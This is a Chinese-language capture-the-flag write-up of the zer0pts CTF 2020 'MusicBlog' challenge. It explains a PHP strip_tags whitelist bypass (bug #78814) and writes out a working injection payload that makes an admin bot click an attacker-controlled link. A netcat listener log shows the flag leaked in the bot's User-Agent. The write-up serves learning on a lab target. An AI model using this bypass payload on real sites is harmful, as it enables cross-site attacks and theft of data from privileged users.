MusicBlog -- zer0pts CTF 2020
摘要:php // [[URL]] → function render_tags($str) { $str = preg_replace('/\[\[(.+。[[URL]] 替換爲 之後,通過 strip_tags 將 audio 之外的標籤消除來防止XSS。
You can introduce favorite songs to friends with MusicBlog !
Challenge (URL)
題目文件: MusicBlog_637545797ab8638bffd877d7be2ec045.tar.gz
是一個Blog。在發佈文章時可以選擇是否公開,如果設置爲公開,admin用戶會自動訪問該文章並點贊。寫文章時可以使用 [[URL]]
語法,將其插入到句子中會展開成 <audio controls src="URL"></audio>
這樣的audio元素。
首先,確認flag在哪。搜索 zer0pts{
,能夠發現flag在 worker/worker.js
中,這是admin自動訪問代碼的一部分。
// (snipped) const flag = 'zer0pts{<censored>}'; // (snipped) const crawl = async (url) => { console.log(`[+] Query! (${url})`); const page = await browser.newPage(); try { await page.setUserAgent(flag); await page.goto(url, { waitUntil: 'networkidle0', timeout: 10 * 1000, }); await page.click('#like'); } catch (err){ console.log(err); } await page.close(); console.log(`[+] Done! (${url})`) }; // (snipped)
await page.setUserAgent(flag);
,會將User-Agent設置爲flag。那麼首先,考慮找到一個使用 [[URL]]
進行外部請求的方法,但是 Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-yuAhic5Y6HSsT0e5zC8Qlg==' 'strict-dynamic'; base-uri 'none'; trusted-types
,嚴格的CSP策略會禁止這樣。
但是,admin會進行 await page.click('#like');
,如果能夠將一個可控元素的id設置爲like,就可以利用admin的click,考慮通過XSS將admin重定向訪問到外部。
查看文章的單獨頁面post.php, 能夠發現這裏將文章內容作爲參數,經過 render_tags
後返回值顯示在頁面上。
︙ <div class="mt-3"> <?= render_tags($post['content']) ?> </div> ︙
render_tags
在 utils.php
中定義:
<?php // [[URL]] → <audio src="URL"></audio> function render_tags($str) { $str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str); $str = strip_tags($str, '<audio>'); // only allows `<audio>` return $str; } ︙
[[URL]]
替換爲 <audio controls src="URL"></audio>
之後,通過 strip_tags
將 audio
之外的標籤消除來防止XSS。那如果使用 [["></audio><script>alert(1)</script>]]
作爲URL,經過這種處理之後就變成了 <audio controls src=""></audio>alert(1)"></audio>
, <script>
和 </script>
都被刪除了,做不了什麼。
看一下Web server的Dockerfile,可以看到使用的是PHP 7.4.0, 截至2020年3月7日,最新版本爲PHP 7.4.3,看起來稍微有點老,因此可以看一下PHP 7.4.0之後的 PHP 7.4.1的ChangeLog 。
Standard:
- Fixed bug #78814 (strip_tags allows / in tag name => whitelist bypass).
可以看到修復了 strip_tags
的一個bug,詳細說明見 https://bugs.php.net/bug.php?id=78814
Bug #78814 strip_tags allows / in tag name, allowing whitelist bypass in browsers
When strip_tags is used with a whitelist of tags, php allows slashes (“/”) that occur inside the name of a whitelisted tag and copies them to the result.
For example, if is whitelisted, then a tag
is also kept.
Test script: --------------- <?php echo strip_tags("<s/trong>b</strong>", "<strong>"); Expected result: ---------------- b Actual result: -------------- <s/trong>b</strong>
將 <strong>
作爲白名單時,添加斜槓的 <s/trong>
沒有被刪除,原樣輸出。MusicBlog 中使用的是 <audio>
作爲白名單, <a/udio>
可以通過函數處理,並且 <a/udio>
會作爲 超鏈接 <a>
被解析。
因此,利用這個bug,使用 [["></audio><a/udio href="(URL)" id="like">test</a/udio><audio a="]]
這樣的內容的話,經過處理在文章中展開後是
<audio controls src=""></audio><a/udio href="(URL)" id="like">test</a/udio><audio a=""></audio>
這樣admin自動去點擊id爲like的標籤的話,會點擊到我們可控的外部鏈接。
$ nc -lvp 8000 Listening on [0.0.0.0] (family 0, port 8000) Connection from ec2-3-112-201-75.ap-northeast-1.compute.amazonaws.com 33926 received! GET / HTTP/1.1 ︙ Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: zer0pts{M4sh1m4fr3sh!!} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 ︙ Accept-Encoding: gzip, deflate Accept-Language: en-US